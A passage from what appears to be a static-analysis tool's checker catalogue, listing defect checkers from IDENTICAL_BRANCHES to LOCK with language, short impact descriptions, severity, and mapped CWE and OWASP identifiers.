| IDENTICAL_BRANCHES | Identical code for different branches of an else-if chain | Incorrect expression | Swift | The conditions could be combined | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different branches of an else-if chain | Incorrect expression | Visual Basic | The conditions could be combined | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different branches | Incorrect expression | C/C++ | The condition is redundant | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different branches | Incorrect expression | C# | The condition is redundant | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different branches | Incorrect expression | Java | The condition is redundant | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different branches | Incorrect expression | JavaScript | The condition is redundant | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different branches | Incorrect expression | Objective-C/C++ | The condition is redundant | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different branches | Incorrect expression | PHP | The condition is redundant | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different branches | Incorrect expression | Python | The condition is redundant | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different branches | Incorrect expression | Ruby | The condition is redundant | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different branches | Incorrect expression | Scala | The condition is redundant | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different branches | Incorrect expression | Swift | The condition is redundant | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTICAL_BRANCHES | Identical code for different branches | Incorrect expression | Visual Basic | The condition is redundant | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| IDENTIFIER_TYPO | Typo in identifier | Incorrect expression | JavaScript | The wrong entity will be referenced, usually resulting in a useless write or a read of an unset value. | Medium | Quality | 688 | 227, 559, 573, 628, 688, 699, 700, 710, 734, 736, 737, 742, 844, 850, 884, 885, 887, 888, 907, 978, 998, 1000, 1001, 1006 | ||
| IDENTIFIER_TYPO | Typo in identifier | Incorrect expression | PHP | The wrong entity will be referenced, usually resulting in a useless write or a read of an unset value. | Medium | Quality | 688 | 227, 559, 573, 628, 688, 699, 700, 710, 734, 736, 737, 742, 844, 850, 884, 885, 887, 888, 907, 978, 998, 1000, 1001, 1006 | ||
| IDENTIFIER_TYPO | Typo in identifier | Incorrect expression | Python | The wrong entity will be referenced, usually resulting in a useless write or a read of an unset value. | Medium | Quality | 688 | 227, 559, 573, 628, 688, 699, 700, 710, 734, 736, 737, 742, 844, 850, 884, 885, 887, 888, 907, 978, 998, 1000, 1001, 1006 | ||
| IDENTIFIER_TYPO | Typo in identifier | Incorrect expression | Ruby | The wrong entity will be referenced, usually resulting in a useless write or a read of an unset value. | Medium | Quality | 688 | 227, 559, 573, 628, 688, 699, 700, 710, 734, 736, 737, 742, 844, 850, 884, 885, 887, 888, 907, 978, 998, 1000, 1001, 1006 | ||
| IMPLICIT_INTENT | Implicit intent use | Medium impact security | Java | A malicious application could register to receive this Intent and see any information in it. | Medium | Security | 927 | 17, 18, 254, 264, 284, 285, 361, 629, 632, 635, 664, 668, 693, 699, 700, 711, 721, 723, 750, 753, 800, 803, 809, 817, 840, 888, 892, 895, 899, 907, 927, 928, 935, 944, 945, 963, 975, 984, 1000, 1003, 1008, 1011, 1026, 1031 | owasp-web-2017-A5: Broken Access Control | |
| INCOMPATIBLE_CAST | Reliance on integer endianness | Integer handling issues | C/C++ | The pointed-to memory is accessed with a smaller type, causing a subsequent read to yield an unexpected result. | Medium | Quality | 188 | 2, 17, 18, 19, 137, 188, 435, 699, 700, 710, 758, 887, 888, 902, 907, 928, 933, 957, 977, 978, 1000, 1001, 1003, 1006 | ||
| INCOMPATIBLE_CAST | Reliance on integer endianness | Integer handling issues | Objective-C/C++ | The pointed-to memory is accessed with a smaller type, causing a subsequent read to yield an unexpected result. | Medium | Quality | 188 | 2, 17, 18, 19, 137, 188, 435, 699, 700, 710, 758, 887, 888, 902, 907, 928, 933, 957, 977, 978, 1000, 1001, 1003, 1006 | ||
| INCOMPATIBLE_CAST | Incompatible cast | Integer handling issues | C/C++ | A pointer is cast between floating-point and integral types; this only makes sense when performing bitwise operations. | Medium | Quality | 704 | 17, 18, 19, 136, 361, 664, 699, 700, 704, 734, 737, 741, 747, 868, 875, 883, 885, 888, 892, 984, 998, 1000, 1003 | ||
| INCOMPATIBLE_CAST | Incompatible cast | Integer handling issues | Objective-C/C++ | A pointer is cast between floating-point and integral types; this only makes sense when performing bitwise operations. | Medium | Quality | 704 | 17, 18, 19, 136, 361, 664, 699, 700, 704, 734, 737, 741, 747, 868, 875, 883, 885, 888, 892, 984, 998, 1000, 1003 | ||
| INCOMPATIBLE_CAST | Incompatible pointer cast | Integer handling issues | C/C++ | A pointer is cast to a different type, but the underlying object is not cast. | Medium | Quality | 704 | 17, 18, 19, 136, 361, 664, 699, 700, 704, 734, 737, 741, 747, 868, 875, 883, 885, 888, 892, 984, 998, 1000, 1003 | ||
| INCOMPATIBLE_CAST | Incompatible pointer cast | Integer handling issues | Objective-C/C++ | A pointer is cast to a different type, but the underlying object is not cast. | Medium | Quality | 704 | 17, 18, 19, 136, 361, 664, 699, 700, 704, 734, 737, 741, 747, 868, 875, 883, 885, 888, 892, 984, 998, 1000, 1003 | ||
| INCOMPATIBLE_CAST | Out-of-bounds access | Memory - illegal accesses | C/C++ | The pointed-to memory is accessed with a larger type, causing a crash or incorrect computation. | High | Quality | 119 | 17, 18, 19, 20, 118, 119, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 868, 872, 874, 875, 876, 877, 878, 883, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| INCOMPATIBLE_CAST | Out-of-bounds access | Memory - illegal accesses | Objective-C/C++ | The pointed-to memory is accessed with a larger type, causing a crash or incorrect computation. | High | Quality | 119 | 17, 18, 19, 20, 118, 119, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 868, 872, 874, 875, 876, 877, 878, 883, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| INFINITE_LOOP | Infinite loop with no exit | Program hangs | C/C++ | The loop will execute forever, or until system resources are exhausted or the system is otherwise stopped. | Medium | Quality | 835 | 438, 691, 699, 834, 835, 884, 888, 907, 977, 1000 | ||
| INFINITE_LOOP | Infinite loop | Program hangs | C# | The loop will execute forever, or until system resources are exhausted or the system is otherwise stopped. | Medium | Quality | 835 | 438, 691, 699, 834, 835, 884, 888, 907, 977, 1000 | ||
| INFINITE_LOOP | Infinite loop | Program hangs | Java | The loop will execute forever, or until system resources are exhausted or the system is otherwise stopped. | Medium | Quality, Security | 835 | 438, 691, 699, 834, 835, 884, 888, 907, 977, 1000 | ||
| INFINITE_LOOP | Infinite loop with no exit | Program hangs | Objective-C/C++ | The loop will execute forever, or until system resources are exhausted or the system is otherwise stopped. | Medium | Quality | 835 | 438, 691, 699, 834, 835, 884, 888, 907, 977, 1000 | ||
| INFINITE_LOOP | Infinite loop | Program hangs | C/C++ | The loop does not have a normal termination condition, so will continue until an abnormal condition arises. | Medium | Quality | 835 | 438, 691, 699, 834, 835, 884, 888, 907, 977, 1000 | ||
| INFINITE_LOOP | Infinite loop | Program hangs | C# | The loop does not have a normal termination condition, so will continue until an abnormal condition arises. | Medium | Quality | 835 | 438, 691, 699, 834, 835, 884, 888, 907, 977, 1000 | ||
| INFINITE_LOOP | Infinite loop | Program hangs | Java | The loop does not have a normal termination condition, so will continue until an abnormal condition arises. | Medium | Quality, Security | 835 | 438, 691, 699, 834, 835, 884, 888, 907, 977, 1000 | ||
| INFINITE_LOOP | Infinite loop | Program hangs | Objective-C/C++ | The loop does not have a normal termination condition, so will continue until an abnormal condition arises. | Medium | Quality | 835 | 438, 691, 699, 834, 835, 884, 888, 907, 977, 1000 | ||
| INSECURE_COMMUNICATION | Plaintext communication | Medium impact security | Swift | Sensitive data sent to or received from the application may be read or manipulated by unintended actors. | Medium | Security | 319 | 17, 18, 254, 310, 311, 319, 629, 635, 693, 699, 700, 711, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 844, 858, 859, 861, 866, 884, 888, 895, 900, 907, 928, 930, 934, 963, 975, 1000, 1003, 1008, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| INSECURE_COOKIE | Cookie without the 'Secure' attribute | Cookie without the 'Secure' attribute | Java | While web browsers send cookies with the 'Secure' attribute only over HTTPS, they do send cookies without it over HTTP. If an attacker can fool the victim's browser into sending an HTTP request to the vulnerable site (for example, with JavaScript code on a malicious page or with a phishing link), the victim's browser will send the vulnerable cookie in the clear. If the attacker can also intercept this network traffic, then they can steal the victim's session cookie and impersonate the victim. | Medium | Security | 614 | 17, 18, 254, 310, 311, 442, 614, 629, 635, 693, 699, 700, 711, 719, 720, 729, 800, 803, 809, 816, 818, 844, 861, 866, 888, 895, 900, 907, 928, 930, 934, 963, 966, 975, 1000, 1003, 1008, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| INSECURE_MULTIPEER_CONNECTION | Insecure multipeer connection | Medium impact security | Swift | An attacker can force the negotiated communication session to be unencrypted. The data transmitted on the channel can then be intercepted as cleartext. | Medium | Security | 319 | 17, 18, 254, 310, 311, 319, 629, 635, 693, 699, 700, 711, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 844, 858, 859, 861, 866, 884, 888, 895, 900, 907, 928, 930, 934, 963, 975, 1000, 1003, 1008, 1013, 1026, 1028, 1029 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| INSECURE_RANDOM | Insecure random value used in security context | Insecure random category | C# | An attacker may be able to predict the values generated by a cryptographically weak PRNG and gain access to sensitive information. | Medium | Security | 330 | 17, 18, 254, 330, 338, 699, 700, 711, 723, 734, 747, 750, 753, 800, 808, 844, 861, 867, 868, 883, 884, 888, 900, 905, 1000, 1003, 1008, 1013 | ||
| INSECURE_RANDOM | Insecure random value used in security context | Insecure random category | Java | An attacker may be able to predict the values generated by a cryptographically weak PRNG and gain access to sensitive information. | Medium | Security | 330 | 17, 18, 254, 330, 338, 699, 700, 711, 723, 734, 747, 750, 753, 800, 808, 844, 861, 867, 868, 883, 884, 888, 900, 905, 1000, 1003, 1008, 1013 | ||
| INSECURE_RANDOM | Insecure random value used in security context | Medium impact security | JavaScript | An attacker may be able to predict the values generated by a cryptographically weak PRNG and gain access to sensitive information. | Medium | Security | 330 | 17, 18, 254, 330, 338, 699, 700, 711, 723, 734, 747, 750, 753, 800, 808, 844, 861, 867, 868, 883, 884, 888, 900, 905, 1000, 1003, 1008, 1013 | ||
| INSECURE_RANDOM | Cryptographically weak PRNG | Insecure random category | C# | An attacker may be able to predict the values generated by a cryptographically weak PRNG. | Medium | Security | 330 | 17, 18, 254, 330, 338, 699, 700, 711, 723, 734, 747, 750, 753, 800, 808, 844, 861, 867, 868, 883, 884, 888, 900, 905, 1000, 1003, 1008, 1013 | ||
| INSECURE_RANDOM | Cryptographically weak PRNG | Insecure random category | Java | An attacker may be able to predict the values generated by a cryptographically weak PRNG. | Medium | Security | 330 | 17, 18, 254, 330, 338, 699, 700, 711, 723, 734, 747, 750, 753, 800, 808, 844, 861, 867, 868, 883, 884, 888, 900, 905, 1000, 1003, 1008, 1013 | ||
| INSECURE_RANDOM | Cryptographically weak PRNG | Low impact security | JavaScript | An attacker may be able to predict the values generated by a cryptographically weak PRNG. | Low | Security | 330 | 17, 18, 254, 330, 338, 699, 700, 711, 723, 734, 747, 750, 753, 800, 808, 844, 861, 867, 868, 883, 884, 888, 900, 905, 1000, 1003, 1008, 1013 | ||
| INSECURE_SALT | Predictable salt used with cryptographic hash function | Medium impact security | JavaScript | Given the salt and the output of a hash function, an attacker with enough resources can feasibly compute the input that yields that output. Re-using the same salt for many uses of the hash function reduces the cost for the attacker to reverse a large number of hashes. | Medium | Security | 760 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 760, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | |
| INTEGER_OVERFLOW | Overflowed array index read | Memory - illegal accesses | C/C++ | Incorrect values will be read from an arbitrary memory location, causing incorrect computations. | High | Quality, Security | 125 | 17, 18, 19, 20, 118, 119, 125, 126, 127, 128, 189, 190, 254, 633, 635, 682, 693, 699, 700, 711, 722, 726, 734, 738, 739, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 786, 788, 800, 802, 865, 868, 872, 873, 874, 875, 876, 877, 878, 883, 884, 885, 888, 890, 896, 900, 907, 970, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| INTEGER_OVERFLOW | Overflowed array index read | Memory - illegal accesses | Objective-C/C++ | Incorrect values will be read from an arbitrary memory location, causing incorrect computations. | High | Quality, Security | 125 | 17, 18, 19, 20, 118, 119, 125, 126, 127, 128, 189, 190, 254, 633, 635, 682, 693, 699, 700, 711, 722, 726, 734, 738, 739, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 786, 788, 800, 802, 865, 868, 872, 873, 874, 875, 876, 877, 878, 883, 884, 885, 888, 890, 896, 900, 907, 970, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| INTEGER_OVERFLOW | Overflowed array index write | Memory - corruptions | C/C++ | This could cause an immediate crash or incorrect values might be read subsequently resulting in incorrect computations. | High | Quality, Security | 119 | 17, 18, 19, 20, 118, 119, 128, 189, 190, 254, 633, 635, 682, 693, 699, 700, 711, 722, 726, 734, 738, 739, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 874, 875, 876, 877, 878, 883, 884, 885, 888, 890, 896, 900, 907, 970, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| INTEGER_OVERFLOW | Overflowed array index write | Memory - corruptions | Objective-C/C++ | This could cause an immediate crash or incorrect values might be read subsequently resulting in incorrect computations. | High | Quality, Security | 119 | 17, 18, 19, 20, 118, 119, 128, 189, 190, 254, 633, 635, 682, 693, 699, 700, 711, 722, 726, 734, 738, 739, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 874, 875, 876, 877, 878, 883, 884, 885, 888, 890, 896, 900, 907, 970, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| INTEGER_OVERFLOW | Overflowed constant | Integer handling issues | C/C++ | The overflowed value due to arithmetic on constants is too small or unexpectedly negative, causing incorrect computations. | Medium | Quality, Security | 190 | 17, 18, 19, 20, 128, 189, 190, 254, 635, 682, 693, 699, 700, 711, 722, 734, 738, 739, 742, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 876, 883, 884, 885, 888, 896, 900, 907, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| INTEGER_OVERFLOW | Overflowed constant | Integer handling issues | Objective-C/C++ | The overflowed value due to arithmetic on constants is too small or unexpectedly negative, causing incorrect computations. | Medium | Quality, Security | 190 | 17, 18, 19, 20, 128, 189, 190, 254, 635, 682, 693, 699, 700, 711, 722, 734, 738, 739, 742, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 876, 883, 884, 885, 888, 896, 900, 907, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| INTEGER_OVERFLOW | Integer overflowed argument | Insecure data handling | C/C++ | The argument will be too small or even negative, likely resulting in unexpected behavior (for example, under-allocation in a memory allocation function). | Medium | Quality, Security | 190 | 17, 18, 19, 20, 128, 189, 190, 254, 635, 682, 693, 699, 700, 711, 722, 734, 738, 739, 742, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 876, 883, 884, 885, 888, 896, 900, 907, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| INTEGER_OVERFLOW | Integer overflowed argument | Insecure data handling | Objective-C/C++ | The argument will be too small or even negative, likely resulting in unexpected behavior (for example, under-allocation in a memory allocation function). | Medium | Quality, Security | 190 | 17, 18, 19, 20, 128, 189, 190, 254, 635, 682, 693, 699, 700, 711, 722, 734, 738, 739, 742, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 876, 883, 884, 885, 888, 896, 900, 907, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| INTEGER_OVERFLOW | Integer overflow | Insecure data handling | C/C++ | The overflowed value will likely be too small, too large, or unexpectedly negative, causing incorrect computations. | Medium | Quality, Security | 190 | 17, 18, 19, 20, 128, 189, 190, 254, 635, 682, 693, 699, 700, 711, 722, 734, 738, 739, 742, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 876, 883, 884, 885, 888, 896, 900, 907, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| INTEGER_OVERFLOW | Integer overflow | Insecure data handling | Objective-C/C++ | The overflowed value will likely be too small, too large, or unexpectedly negative, causing incorrect computations. | Medium | Quality, Security | 190 | 17, 18, 19, 20, 128, 189, 190, 254, 635, 682, 693, 699, 700, 711, 722, 734, 738, 739, 742, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 876, 883, 884, 885, 888, 896, 900, 907, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| INTEGER_OVERFLOW | Overflowed pointer read | Memory - illegal accesses | C/C++ | Incorrect values will be read from an arbitrary memory location, causing incorrect computations. | High | Quality, Security | 125 | 17, 18, 19, 20, 118, 119, 125, 126, 127, 128, 189, 190, 254, 633, 635, 682, 693, 699, 700, 711, 722, 726, 734, 738, 739, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 786, 788, 800, 802, 865, 868, 872, 873, 874, 875, 876, 877, 878, 883, 884, 885, 888, 890, 896, 900, 907, 970, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| INTEGER_OVERFLOW | Overflowed pointer read | Memory - illegal accesses | Objective-C/C++ | Incorrect values will be read from an arbitrary memory location, causing incorrect computations. | High | Quality, Security | 125 | 17, 18, 19, 20, 118, 119, 125, 126, 127, 128, 189, 190, 254, 633, 635, 682, 693, 699, 700, 711, 722, 726, 734, 738, 739, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 786, 788, 800, 802, 865, 868, 872, 873, 874, 875, 876, 877, 878, 883, 884, 885, 888, 890, 896, 900, 907, 970, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| INTEGER_OVERFLOW | Overflowed pointer write | Memory - corruptions | C/C++ | This could cause an immediate crash or incorrect values might be read subsequently resulting in incorrect computations. | High | Quality, Security | 119 | 17, 18, 19, 20, 118, 119, 128, 189, 190, 254, 633, 635, 682, 693, 699, 700, 711, 722, 726, 734, 738, 739, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 874, 875, 876, 877, 878, 883, 884, 885, 888, 890, 896, 900, 907, 970, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| INTEGER_OVERFLOW | Overflowed pointer write | Memory - corruptions | Objective-C/C++ | This could cause an immediate crash or incorrect values might be read subsequently resulting in incorrect computations. | High | Quality, Security | 119 | 17, 18, 19, 20, 118, 119, 128, 189, 190, 254, 633, 635, 682, 693, 699, 700, 711, 722, 726, 734, 738, 739, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 874, 875, 876, 877, 878, 883, 884, 885, 888, 890, 896, 900, 907, 970, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| INTEGER_OVERFLOW | Overflowed return value | Insecure data handling | C/C++ | The return value will be too small or even negative, likely resulting in unexpected behavior in a caller that uses the return value. | Medium | Quality, Security | 190 | 17, 18, 19, 20, 128, 189, 190, 254, 635, 682, 693, 699, 700, 711, 722, 734, 738, 739, 742, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 876, 883, 884, 885, 888, 896, 900, 907, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| INTEGER_OVERFLOW | Overflowed return value | Insecure data handling | Objective-C/C++ | The return value will be too small or even negative, likely resulting in unexpected behavior in a caller that uses the return value. | Medium | Quality, Security | 190 | 17, 18, 19, 20, 128, 189, 190, 254, 635, 682, 693, 699, 700, 711, 722, 734, 738, 739, 742, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 876, 883, 884, 885, 888, 896, 900, 907, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| INVALIDATE_ITERATOR | Using invalid iterator | Performance inefficiencies | Java | A map was modified with Map.put while it was being iterated on. If the key was not in the map, this will usually generate an error (ConcurrentModificationException). The most common case is iterating on the keySet(), and updating the value at the current key. In this case, the map's key set is not changed, so this doesn't generate an error. Doing things this way is inefficient however, as this requires doing a map lookup that can be avoided. Instead, iterate on the entrySet and use Map.Entry.setValue. | Low | Quality | 573 | 227, 573, 699, 700, 710, 844, 850, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| INVALIDATE_ITERATOR | Using invalid iterator | API usage errors | C/C++ | Undefined behavior may result; the program may crash or subtly misbehave. | Medium | Quality | 119 | 17, 18, 19, 20, 118, 119, 227, 254, 573, 633, 635, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 844, 850, 868, 872, 874, 875, 876, 877, 878, 883, 887, 888, 890, 896, 907, 970, 975, 978, 994, 1000, 1001, 1003, 1005, 1006, 1008, 1019 | ||
| INVALIDATE_ITERATOR | Using invalid iterator | API usage errors | Java | A concurrent modification exception may result, the container may be corrupted, or the iterator may return incorrect data. | Medium | Quality | 573 | 227, 573, 699, 700, 710, 844, 850, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| INVALIDATE_ITERATOR | Using invalid iterator | API usage errors | Objective-C/C++ | Undefined behavior may result; the program may crash or subtly misbehave. | Medium | Quality | 119 | 17, 18, 19, 20, 118, 119, 227, 254, 573, 633, 635, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 844, 850, 868, 872, 874, 875, 876, 877, 878, 883, 887, 888, 890, 896, 907, 970, 975, 978, 994, 1000, 1001, 1003, 1005, 1006, 1008, 1019 | ||
| JAVA_CODE_INJECTION | Dynamic Java Bytecode injection | High impact security | Java | An attacker can inject new Java bytecode that executes arbitrary code. | High | Security | 94 | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 669, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 809, 813, 829, 844, 845, 864, 868, 872, 876, 883, 884, 888, 892, 895, 896, 900, 907, 913, 928, 929, 963, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1011, 1016, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | ✓ |
| JCR_INJECTION | Content Repository for Java injection | Medium impact security | Java | An attacker can change the intent of the JCR query, which may inappropriately disclose repository data. | Medium | Security | 94 | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| JSP_DYNAMIC_INCLUDE | JSP dynamic include | Medium impact security | Java | An attacker can manipulate the internal server path of the JSP to bypass authorization, access sensitive data, or execute untrusted code. | Medium | Security | 22 | 17, 18, 19, 20, 21, 22, 74, 94, 96, 97, 116, 137, 171, 254, 264, 265, 361, 398, 399, 470, 505, 610, 629, 632, 635, 664, 668, 691, 693, 699, 700, 706, 707, 710, 711, 715, 722, 723, 727, 734, 738, 742, 743, 746, 747, 750, 751, 752, 800, 802, 809, 813, 844, 845, 859, 865, 868, 872, 876, 877, 883, 884, 888, 892, 893, 895, 896, 900, 907, 913, 928, 929, 932, 963, 975, 977, 978, 980, 981, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1011, 1015, 1019, 1020, 1026, 1027, 1028, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A5: Broken Access Control | ✓ |
| JSP_SQL_INJECTION | JSP SQL tag Injection | High impact security | Java | An attacker can change the intent of the SQL query, which may inappropriately disclose or corrupt data within the database. | High | Security | 89 | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 564, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | owasp-web-2017-A1: Injection, owasp-web-2017-A5: Broken Access Control | ✓ |
| LDAP_INJECTION | LDAP injection | High impact security | C# | An attacker can change the intent of the LDAP query, which may bypass security controls or disclose unauthorized data. | High | Security | 90 | 17, 18, 19, 20, 74, 90, 116, 137, 171, 254, 629, 635, 693, 699, 700, 707, 711, 713, 722, 727, 734, 738, 742, 746, 747, 750, 751, 809, 810, 844, 845, 868, 872, 876, 883, 884, 888, 896, 907, 928, 929, 943, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| LDAP_INJECTION | LDAP injection | High impact security | Java | An attacker can change the intent of the LDAP query, which may bypass security controls or disclose unauthorized data. | High | Security | 90 | 17, 18, 19, 20, 74, 90, 116, 137, 171, 254, 629, 635, 693, 699, 700, 707, 711, 713, 722, 727, 734, 738, 742, 746, 747, 750, 751, 809, 810, 844, 845, 868, 872, 876, 883, 884, 888, 896, 907, 928, 929, 943, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| LDAP_INJECTION | LDAP injection | High impact security | Visual Basic | An attacker can change the intent of the LDAP query, which may bypass security controls or disclose unauthorized data. | High | Security | 90 | 17, 18, 19, 20, 74, 90, 116, 137, 171, 254, 629, 635, 693, 699, 700, 707, 711, 713, 722, 727, 734, 738, 742, 746, 747, 750, 751, 809, 810, 844, 845, 868, 872, 876, 883, 884, 888, 896, 907, 928, 929, 943, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| LOCK | Double lock | Program hangs | C/C++ | May result in immediate deadlock. | Medium | Quality | 764 | 17, 18, 227, 361, 573, 662, 664, 667, 675, 691, 699, 700, 710, 734, 743, 745, 748, 764, 844, 850, 852, 853, 868, 877, 879, 884, 887, 888, 892, 894, 907, 977, 978, 984, 986, 987, 1000, 1001, 1003, 1006 | ||
| LOCK | Double lock | Program hangs | Objective-C/C++ | May result in immediate deadlock. | Medium | Quality | 764 | 17, 18, 227, 361, 573, 662, 664, 667, 675, 691, 699, 700, 710, 734, 743, 745, 748, 764, 844, 850, 852, 853, 868, 877, 879, 884, 887, 888, 892, 894, 907, 977, 978, 984, 986, 987, 1000, 1001, 1003, 1006 | ||
| LOCK | Lock assertion failure | API usage errors | C/C++ | The program would halt at the lock assertion statement. | Medium | Quality | 617 | 17, 18, 388, 389, 398, 438, 617, 670, 691, 699, 700, 710, 711, 728, 844, 850, 884, 887, 888, 907, 977, 978, 1000, 1001, 1003, 1006 | ||
| LOCK | Lock assertion failure | API usage errors | Objective-C/C++ | The program would halt at the lock assertion statement. | Medium | Quality | 617 | 17, 18, 388, 389, 398, 438, 617, 670, 691, 699, 700, 710, 711, 728, 844, 850, 884, 887, 888, 907, 977, 978, 1000, 1001, 1003, 1006 | ||
| LOCK | Missing unlock | Program hangs | C/C++ | May result in deadlock if there is another attempt to acquire the lock. | Medium | Quality | 667 | 17, 18, 361, 662, 664, 667, 691, 699, 700, 734, 745, 748, 844, 852, 853, 868, 879, 884, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
